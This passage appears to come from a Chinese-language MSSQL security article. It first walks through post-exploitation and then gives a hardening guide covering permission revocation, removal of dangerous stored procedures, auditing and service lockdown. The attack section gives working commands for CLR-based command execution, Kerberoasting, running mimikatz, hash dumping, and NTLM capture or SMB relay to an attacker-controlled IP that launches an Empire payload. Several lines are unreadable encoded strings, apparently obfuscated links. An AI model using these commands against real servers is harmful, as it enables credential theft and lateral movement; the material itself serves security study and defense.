| 创建可用于导入CLR程序集以执行OS命令的DLL和SQL命令。 | Create-SQLFileCLRDll -Verbose -ProcedureName runcmd -OutDir c:\temp -OutFile evil |
|||
| 获取共享SQL Server服务帐户的列表。 | `Get-SQLInstanceDomain -Verbose | Select-Object DomainAccount, ComputerName -Unique | Group-Object DomainAccount | Sort-Object Count -Descending` 注意:任何大于1的计数都表示在多个系统上使用的域帐户可能会被用于SMB中继攻击。 |
利用传统的Kerberoast攻击方式进行横向移动,Kerberoast是一种针对Kerberos协议的攻击方式。根据Kerberos协议,当向活动目录完成身份验证后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户,作为访问资源时的身份凭证。当需要访问资源,向票据服务器(TGS)发送Kerberos票据时,首先需要使用具有有效身份用户的票据(TGT)向票据服务器(TGS)请求乡音的服务票据。当该票据(TGT)被验证具有此服务的权限是,会向用户发送一张新的票据。新的票据使用SPN关联的计算机中的服务账号的NTLM Hash。攻击者可以尝试不同的NTLM Hash来开启Kerberos票据。NTLM Hash对应的是服务账号的密码。
实施此攻击前有几个前提条件:
通过SQL Server能执行PowerShell命令的利用点和导入特定功能的CLR程序集即可完成Kerberoast攻击。
查看指定域内用户所注册的SPN
1 | setspn -L SEC\MSSQL2 |

通过上文设置WarSQLKit的DLL存在sp_Mimikatz存储,执行mimikatz。
1 2 | exec sp_cmdExec 'sp_Mimikatz';select * from WarSQLKitTemp //获取Mimikatz日志 |

或者利用任何一种可以执行PowerShell命令的方式,可以请求到SPN的Kerberos票据:
1 2 3 | Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/MSSQL2.sec.com:1433"exec xp_cmdshell 'powershell Add-Type -AssemblyName System.IdentityModel ; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/MSSQL2.sec.com:1433"' |


之后可以使用PowerShell命令远程下载部署mimikatz,或者kerberoast。
1 | #mimikatz:kerberos::list /export |

导出的票据会保存到当前目录的kirbi文件。

利用kerberoast中的tgsrepcrack.py脚本,离线破解NTLM Hash。
PowerUpSQL中使用Get-SQLServerPasswordHash,可自动提取SQL登录密码哈希:
1 2 | import-module .\PowerUPSQL.psd1Get-SQLServerPasswordHash -Verbose -Instance 'SQLServerName\InstanceName' -Migrate |
David Cash在MSSQL Lateral Movement介绍了SQL Server中使用CLR自动执行横向移动而无文件落地和不需要xp_cmdshell,以及如何防止被检测到。
CLR相关的介绍在上文已经介绍,在此不再赘述。通常为实现命令执行而对MSSQL服务进行后期开发通常会利用XP_CMDSHELL存储过程在MSSQL进程的上下文中运行操作系统命令。要使用此技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户或通过BCP写入磁盘的二进制文件,这提供了明显的检测机会。
SQL Server服务进程可以执行提供给它的任何.NET代码,因此利用.NET代码进行横向移动,仅需要构建适当的DLL。作为概念的证明,为了生成了一个简单的程序集,该程序集对一些shellcode进行XOR并将其注入到生成的进程中。使用Squeak可以简化CLR代码的创建和调用,下面是Squeak具备的一些功能:
展示连接数据
从原始二进制文件和单字节XOR读取shellcode字节
生成一个MSSQL CLR DLL,该DLL对shellcode进行XOR,生成一个新进程,然后将shellcode注入其中。
计算DLL的SHA512哈希
生成带有硬编码参数的单个.NET可执行文件,以通过SQL连接执行DLL –该可执行文件执行以下操作:
创建一个SQL连接
检查SQL Server版本
检查DBA权限
检查并记录现有的安全设置
修改安全设置
创建并运行程序集
恢复安全设置并删除程序集
使用Squeak可以生成带有连接字符串和CLR程序集的独立可执行文件。CLR程序集的代码是从本地目录中的文件中加载,可以直接打开文件,也可以在工具中对其进行编辑。
UNC用于访问远程文件服务器,格式为\ip\file,如果我们可以执行这个功能,则可以强制SQL Server向我们进行身份验证,并且可以获得SQL Server服务帐号的NTLM密码哈希。
可以通过以下方式实现自动化:
1 2 3 4 | import-module .\PowerUpSQL.ps1`Import-Module C:\PowerUpSQL-master\Scripts\3rdparty\Inveigh.ps1Import-Module C:\PowerUpSQL-master\Scripts\pending\Get-SQLServiceAccountPwHashes.ps1Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker_controlled_ip |
1 | python smbrelayx.py -h sqlserverIP -c 'powershell empire launcher' |
1 2 3 4 5 | msf > use auxiliary/admin/mssql/mssql_ntlm_stealerset SMBPROXY attackerIPset RHOST webappwithsqliIPset GET_PATH pathtosqlirun |
查询目前所有用户列表
1 | select name,password from syslogins order by name |

为不同的管理员分配不同的账号
按照使用目的进行分配账号,避免不同用户间共享账号,提高安全性。或在企业管理器中直接添加远程登陆用户建立角色,并给角色授权,把角色赋给不同的用户或修改用户属性中的角色和权限。
添加不同用户,参考配置操作:
1 2 | sp_addlogin 'user1','password1'sp_addlogin 'user2','password2' |
删除或锁定无效账号
删除冗余的系统默认账号,减少系统安全隐患,参考配置操作。
1 | Microsoft SQL Server Management Studio -> SQL Server -> 安全性 -> 登录名 -> 选择要删除的用户名(右键) |

限制启动账号权限
启动mssql的用户权限过高,会导致其子进程具有相同权限,参考配置操作:
1 | Microsoft SQL Server Management Studio -> SQL Server ->属性(右键) -> 安全性 |
新建SQL server服务账号后,建议将其从User组中删除,且不要把该账号提升为Administrators组的成员,授予以账户最少启动权限。

权限最小化
在数据库权限配置能力内,根据用户的业务需要,配置其所需的最小权限,参考配置操作:
1 | Microsoft SQL Server Management Studio -> SQL Server -> 属性(右键) -> 安全性 |

数据库角色
使用数据库角色(ROLE)来管理对象的权限,参考配置操作:
1 | Microsoft SQL Server Management Studio -> SQL Server -> 安全性 -> 服务器角色(右键)-> 新服务器角色 |
调整角色属性中的权限,赋予角色中拥有对象对应的SELECT、INSERT、UPDATE、DELETE、EXEC、DRI权限

是否存在空密码用户
对所有账户的属性进行审计,包括空密码、密码更新时间等。修改目前所有账号的口令,确认为强口令。特别是sa账号。
1 2 | select * from sysusers select name,Password from syslogins where password is null order by name # 查看口令为空的用户 |

使用sp_password更新用户密码,特别是sa 账号,需要设置至少10位的强口令。
1 | exec sp_password 'old_passwd', 'new_passwd', sa |
锁定特权
默认情况下,SQL Server安装会在模型数据库之外的所有数据库中授予guest帐户公共角色成员身份。 建议在Windows中禁用guest帐户,并撤消其对除master和tempdb之外的所有数据库的访问权限。参考配置操作,使用以下命令删除数据库访问权限
1 2 | use msdb;exec sp_revokedbaccess guest; |

Public不应访问Web任务表,因为它们可以使表数据可供Web客户端使用。 特权应被撤销:
1 2 | revoke update on mswebtasks to publicrevoke insert on mswebtasks to public |
Microsoft数据转换服务(DTS)程序包是一组COM接口,可用于在SQL Server上使用以下命令执行许多管理任务:T-SQL,Windows脚本和可执行工具。 默认情况下,企业管理器用户可以访问可用DTS软件包列表。 过程spenum dtspackages将显示可以输入到sp_get_dtspackage中的软件包名称和ID号,这将返回软件包数据。 然后,攻击者可能会将程序包放入他的SQL Server本地安装中,并查看程序包详细信息,其中通常包含其他服务器的凭据。 这些程序的特权应被删除:
1 2 | revoke execute on sp_enum_dtspackages to publicrevoke execute on sp_get_dtspackage to public |
sp_get_SQLAgent_properties存储过程,用于显示SQL Server代理服务连接到数据库服务器的混淆密码。 使用此工具(604K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6A6L8h3#2W2M7Y4y4Q4x3X3g2F1j5i4u0G2k6q4)9J5k6i4u0#2i4K6u0r3j5h3N6W2L8Y4c8Q4y4h3k6H3N6$3c8Q4x3X3g2U0i4@1g2r3i4@1u0o6i4K6R3&6i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1$3i4@1t1%4i4@1t1%4i4@1f1$3i4@1t1%4i4K6R3$3i4@1f1K6i4K6R3H3i4K6R3J5 应删除此程序的权限:
1 | revoke execute on sp_get_SQLAgent_properties to public |
Microsoft数据转换服务(DTS)用于处理来自多个源(例如OLE DB,ODBC或文本文件)的数据。 连接密码以明文形式保存在Col11120列的表RTblDBMProps中,因此任何具有选择特权的人都可以检索到。 使用以下命令锁定此表的权限:
1 2 3 4 | revoke select on RTblDBMProps to publicrevoke update on RTblDBMProps to publicrevoke insert on RTblDBMProps to publicrevoke delete on RTblDBMProps to public |
开启日志审计功能
数据库应配置日志功能,对用户登录进行审计,日志内容包括用户登录使用的账号、登录是否成功、登录时间等。
打开数据库属性,查看安全性,将服务器身份验证调整为“SQL Server 和Windows身份验证模式” ,安全性中的登录审核调整为“失败和成功的登录”。
1 | Microsoft SQL Server Management Studio -> SQL Server(右键) -> 属性 -> 安全性 |

或者通过将以下注册表值设置为2(将其设置为3还将记录成功的登录):
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\AuditLevel |
禁用不必要的网络服务
SQL Server使用的网络通信协议应限制为最小基础架构所需。 禁用SQL Server运行冗余服务。 启用陌生的网络通信协议,可能增加数据库网络风险。TCP/IP是最常用的用于SQL Server的网络协议栈,它与SSL一起为访问SQL Server提供安全的基础。
Microsoft SQL Server程序组, 运行服务网络实用工具。建议只使用TCP/IP协议,禁用其他协议。
1 | SQL Server Configuration Manager -> SQL Server网络配置 -> MSSQLSERVER的协议 |

加固TCP/IP协议栈
查看注册表键值
1 2 3 | HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRoutingHKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirectHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect |
参考配置操作
对于TCP/IP协议栈的加固主要是某些注册表键值的修改。主要是以下几个:
1 | HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting #说明:该键值应设为2,以防御源路由欺骗攻击。HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirect #说明:该键值应设为0,以ICMP重定向。HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect #说明:该键值应设为2,防御SYN FLOOD攻击。 |
使用加密通讯协议
启动SQL Server配置工具,启用“强制协议加密”。
1 | SQL Server Configuration Manager -> SQL Server网络配置 -> MSSQLSERVER的协议(右键) -> 属性 |

查询已有的所有的存储过程
1 | select * from sysobjects where xtype='P' |

或者
1 | Microsoft SQL Server Management Studio -> SQL Server -> 数据库 -> 系统数据库 -> master(举例)-> 可编程性 -> 存储过程/扩展存储过程 -> 系统存储过程/系统扩展存储过程 |
! 
删除SQL Server中存在的危险存储过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | exec sp_dropextendedproc 'xp_cmdshell'exec sp_dropextendedproc 'xp_dirtree'exec sp_dropextendedproc 'xp_enumgroups'exec sp_dropextendedproc 'xp_fixeddrives'exec sp_dropextendedproc 'xp_loginconfig'exec sp_dropextendedproc 'xp_enumerrorlogs'exec sp_dropextendedproc 'xp_getfiledetails'exec sp_dropextendedproc 'Sp_OACreate'exec sp_dropextendedproc 'Sp_OADestroy'exec sp_dropextendedproc 'Sp_OAGetErrorInfo'exec sp_dropextendedproc 'Sp_OAGetProperty'exec sp_dropextendedproc 'Sp_OAMethod'exec sp_dropextendedproc 'Sp_OASetProperty'exec sp_dropextendedproc 'Sp_OAStop'exec sp_dropextendedproc 'Xp_regaddmultistring'exec sp_dropextendedproc 'Xp_regdeletekey'exec sp_dropextendedproc 'Xp_regdeletevalue'exec sp_dropextendedproc 'Xp_regenumvalues'exec sp_dropextendedproc 'Xp_regread'exec sp_dropextendedproc 'Xp_regremovemultistring'exec sp_dropextendedproc 'Xp_regwrite'drop procedure sp_makewebtask |
删除不必要的存储过程,一般情况下建议删除的存储过程有:
1 2 3 4 5 6 7 8 9 10 11 12 | sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumvalues xp_regremovemultistring |
不是应用程序必须使用时,建议删除以下存储过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive xp_dirtree xp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver |
SQL Server的远程访问功能,允许网络上的其他SQL Server远程连接并执行存储过程。 如果不需要此功能,则应使用以下命令禁用该功能。
1 2 3 4 | execute sp_configure 'remote access', '0'goreconfigure with overridego |
或者使用Microsoft SQL Server Management Studio
1 | Microsoft SQL Server Management Studio -> SQL Server(右键) -> 属性 -> 连接 |

配置选项“允许更新”定义数据库用户是否可以直接更新系统表。 这对于高级管理员来说可能是有用的临时功能,但对于正常操作,应该将其禁用:
1 2 3 4 | execute sp_configure 'allow updates', '0'goreconfigure with overridego |
SQL Server Monitor,它侦听UDP端口1434并提供客户端不应访问有关服务器上存在的实例的信息,并且SQL Server将在其被阻止的情况下运行。 防火墙或应阻止来自TCP端口1433和UDP端口1434的外部通信。异构查询或临时查询允许数据库用户使用本地数据在远程服务器上执行查询。 该功能可能被滥用以强制使用远程或本地访问凭据,应在不需要此功能时,将其禁用:
1 | exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB', N'DisallowAdhocAccess', N'REG_DWORD', 1 |
如果不需要,则应禁用SQL Server代理,Microsoft分布式事务处理协调器(MSDTC)和MSSearch服务。 可以使用企业管理器或通过在Windows Services管理工具中将其启动类型设置为“停止”来关闭服务。
1 | Microsoft SQL Server Management Studio -> SQL Server -> 管理 |

或者设置注册表值禁用服务:
1 2 3 | exec sp_set_sqlagent_properties @auto_start=0exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSDTC', N'Start', N'REG_DWORD', 3exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH', N'Start', N'REG_DWORD', 3 |
进行这些更改后,应手动停止服务或重新启动服务器。
最后的步骤是确保应用最新的服务包和补丁程序。将显示SQL Server的当前版本。
1 | select @@version |

d5cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2I4N6h3q4U0K9$3W2@1i4K6u0W2j5$3!0E0i4K6u0r3M7%4q4D9i4K6g2X3M7$3g2J5N6X3g2J5i4K6u0r3N6s2g2@1L8%4u0A6j5h3I4Q4x3V1k6K6M7h3I4Q4y4h3k6K6k6i4u0$3k6i4u0Q4y4h3k6V1N6s2y4Q4x3X3g2U0k6X3@1`.
5d5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2@1k6s2y4Q4x3X3g2G2M7X3N6Q4x3V1j5`.
f8fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3k6J5k6h3g2@1k6s2y4Q4x3X3g2U0N6Y4y4Q4x3X3g2K6L8%4g2J5j5$3g2X3L8%4u0Y4k6g2)9J5k6h3&6W2N6q4)9J5c8X3y4Z5k6h3y4C8L8%4g2@1i4K6u0r3k6Y4u0W2k6i4c8V1M7#2)9J5c8X3k6J5k6h3g2@1k6s2y4Q4x3V1k6V1L8$3y4Q4x3V1k6@1k6s2y4Q4x3X3g2Z5N6r3#2D9
bffK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5k6i4y4W2j5i4u0U0K9q4)9J5k6h3&6U0j5$3N6J5L8%4g2H3i4K6u0W2j5$3!0E0i4K6u0r3x3U0l9J5x3g2)9J5c8U0l9I4i4K6u0r3x3U0q4Q4x3V1k6E0M7%4y4I4L8q4)9J5k6r3I4S2N6r3g2J5j5h3I4Q4x3X3c8E0L8%4k6W2L8h3g2F1N6q4)9J5c8R3`.`.
16dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5%4y4e0x3@1
506K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6q4f1p5W2o6f1V1!0g2g2p5g2d9f1#2y4Q4x3V1k6y4f1#2y4c8e0q4)9J5k6p5k6A6L8r3g2D9k6i4y4K6i4K6u0V1f1X3!0G2N6r3E0A6N6q4)9J5k6q4N6S2M7W2y4c8e0p5E0A6N6l9`.`.
e4aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8X3c8G2N6r3&6W2N6q4)9J5c8X3k6J5j5h3#2W2N6$3!0J5K9#2)9J5c8X3c8S2N6r3q4Q4x3V1k6S2k6r3!0F1k6i4c8Q4x3V1k6K6M7h3I4Q4x3V1k6A6L8Y4c8J5L8$3c8#2j5%4c8A6L8$3&6Q4x3X3c8@1L8#2)9J5k6s2y4I4L8q4)9J5k6s2y4W2M7Y4k6W2M7W2)9J5k6r3y4D9M7W2)9J5k6r3W2F1N6r3g2Y4M7X3q4@1K9h3!0F1
a80K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5y4r3#2K6x3h3E0Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8W2u0W2k6q4)9#2k6W2c8W2j5h3#2Q4y4h3k6y4f1#2y4c8e0q4)9#2k6W2y4W2M7Y4k6W2M7W2)9J5c8W2)9J5x3H3`.`.
f3fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3y4#2M7X3W2@1P5g2)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5c8X3u0D9L8$3N6Q4x3V1k6E0M7$3N6Q4x3V1j5I4y4e0b7`.
39eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6W2M7#2)9J5c8U0t1$3x3U0V1H3x3#2)9J5k6h3S2@1L8h3H3`.
9fcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8X3c8G2N6r3&6W2N6q4)9J5c8X3q4H3K9g2)9J5c8Y4y4&6M7%4c8W2L8g2)9J5k6h3W2V1k6h3&6@1K9i4c8&6L8h3!0V1k6h3I4Q4x3X3g2@1L8$3E0W2L8Y4y4Q4x3X3g2C8k6i4u0T1k6i4u0G2M7%4u0W2M7i4g2W2M7%4c8G2M7Y4y4W2j5%4g2J5K9i4c8&6N6r3!0C8k6h3&6Q4x3@1k6$3K9h3g2%4i4K6y4p5L8X3g2@1k6Y4u0S2L8h3g2%4L8%4u0C8i4K6u0V1y4q4)9J5k6e0R3`.
593K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6F1K9h3c8W2L8g2)9J5c8X3E0W2M7X3u0W2M7X3!0S2M7%4b7`.
698K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Y4k6h3&6@1K9h3I4C8K9i4N6A6i4K6u0r3L8h3W2E0K9h3E0S2N6s2Z5`.
795K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6F1j5$3y4Y4M7X3!0#2M7q4)9J5c8X3&6U0j5$3k6K6j5i4x3`.